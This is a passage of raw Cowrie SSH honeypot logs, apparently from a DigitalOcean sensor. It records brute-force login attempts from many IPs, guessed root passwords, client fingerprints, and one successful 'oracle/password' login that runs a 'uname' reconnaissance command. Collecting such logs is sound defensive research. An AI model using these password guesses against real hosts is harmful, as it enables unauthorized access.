fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:18.766221Z","src_ip":"87.251.79.125","session":"439bfc52da5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"&","message":"login attempt [root/&] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:18.984789Z","src_ip":"87.251.79.125","session":"439bfc52da5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:20.061692Z","src_ip":"87.251.79.125","session":"439bfc52da5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":49130,"dst_ip":"10.17.0.5","dst_port":22,"session":"a786c66831fa","protocol":"ssh","message":"New connection: 4.184.246.230:49130 (10.17.0.5:22) [session: a786c66831fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:32.406219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:32.410940Z","src_ip":"4.184.246.230","session":"a786c66831fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:32.495167Z","src_ip":"4.184.246.230","session":"a786c66831fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"river123","message":"login attempt [root/river123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:32.864340Z","src_ip":"4.184.246.230","session":"a786c66831fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:33.954167Z","src_ip":"4.184.246.230","session":"a786c66831fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":43700,"dst_ip":"10.17.0.5","dst_port":22,"session":"f73ee6045b12","protocol":"ssh","message":"New connection: 147.45.211.215:43700 (10.17.0.5:22) [session: f73ee6045b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:58.334896Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":45766,"dst_ip":"159.203.135.109","dst_port":22,"session":"79132b6903ad","protocol":"ssh","message":"New connection: 193.32.162.151:45766 (159.203.135.109:22) [session: 79132b6903ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:02.624558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:02.630525Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:02.731010Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:03.045397Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:03.347614Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:03.351528Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:03.457535Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:03.464907Z","src_ip":"193.32.162.151","session":"79132b6903ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":60600,"dst_ip":"159.203.135.109","dst_port":22,"session":"332e0f6a92c9","protocol":"ssh","message":"New connection: 147.45.197.250:60600 (159.203.135.109:22) [session: 332e0f6a92c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:04.990229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:04.994859Z","src_ip":"147.45.197.250","session":"332e0f6a92c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:05.090457Z","src_ip":"147.45.197.250","session":"332e0f6a92c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwaszx12","message":"login attempt [root/qwaszx12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:05.366681Z","src_ip":"147.45.197.250","session":"332e0f6a92c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:06.459235Z","src_ip":"147.45.197.250","session":"332e0f6a92c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":55414,"dst_ip":"10.17.0.5","dst_port":22,"session":"5391d4747bf1","protocol":"ssh","message":"New connection: 4.184.246.230:55414 (10.17.0.5:22) [session: 5391d4747bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:14.260278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:14.265585Z","src_ip":"4.184.246.230","session":"5391d4747bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:14.351762Z","src_ip":"4.184.246.230","session":"5391d4747bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloudroot","message":"login attempt [root/cloudroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:14.724944Z","src_ip":"4.184.246.230","session":"5391d4747bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:15.814451Z","src_ip":"4.184.246.230","session":"5391d4747bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":46366,"dst_ip":"159.203.135.109","dst_port":22,"session":"49dc36b0afa6","protocol":"ssh","message":"New connection: 43.128.106.207:46366 (159.203.135.109:22) [session: 49dc36b0afa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:18.831484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:18.838417Z","src_ip":"43.128.106.207","session":"49dc36b0afa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:19.076751Z","src_ip":"43.128.106.207","session":"49dc36b0afa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy!@","message":"login attempt [root/deploy!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:20.062643Z","src_ip":"43.128.106.207","session":"49dc36b0afa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:21.303346Z","src_ip":"43.128.106.207","session":"49dc36b0afa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":34400,"dst_ip":"10.17.0.5","dst_port":22,"session":"166ed217bf33","protocol":"ssh","message":"New connection: 4.184.246.230:34400 (10.17.0.5:22) [session: 166ed217bf33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:56.004800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:56.010766Z","src_ip":"4.184.246.230","session":"166ed217bf33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:56.096446Z","src_ip":"4.184.246.230","session":"166ed217bf33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"320320","message":"login attempt [root/320320] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:56.463221Z","src_ip":"4.184.246.230","session":"166ed217bf33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:20:57.550851Z","src_ip":"4.184.246.230","session":"166ed217bf33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.49.246.176","src_port":39838,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13295d955a2","protocol":"ssh","message":"New connection: 69.49.246.176:39838 (159.203.135.109:22) [session: c13295d955a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:06.714535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:06.720570Z","src_ip":"69.49.246.176","session":"c13295d955a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:06.750324Z","src_ip":"69.49.246.176","session":"c13295d955a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"godisgreat","message":"login attempt [root/godisgreat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:06.897812Z","src_ip":"69.49.246.176","session":"c13295d955a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:07.929071Z","src_ip":"69.49.246.176","session":"c13295d955a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33066,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c201a85929b","protocol":"ssh","message":"New connection: 62.133.62.83:33066 (159.203.135.109:22) [session: 4c201a85929b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:22.502197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:22.507040Z","src_ip":"62.133.62.83","session":"4c201a85929b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 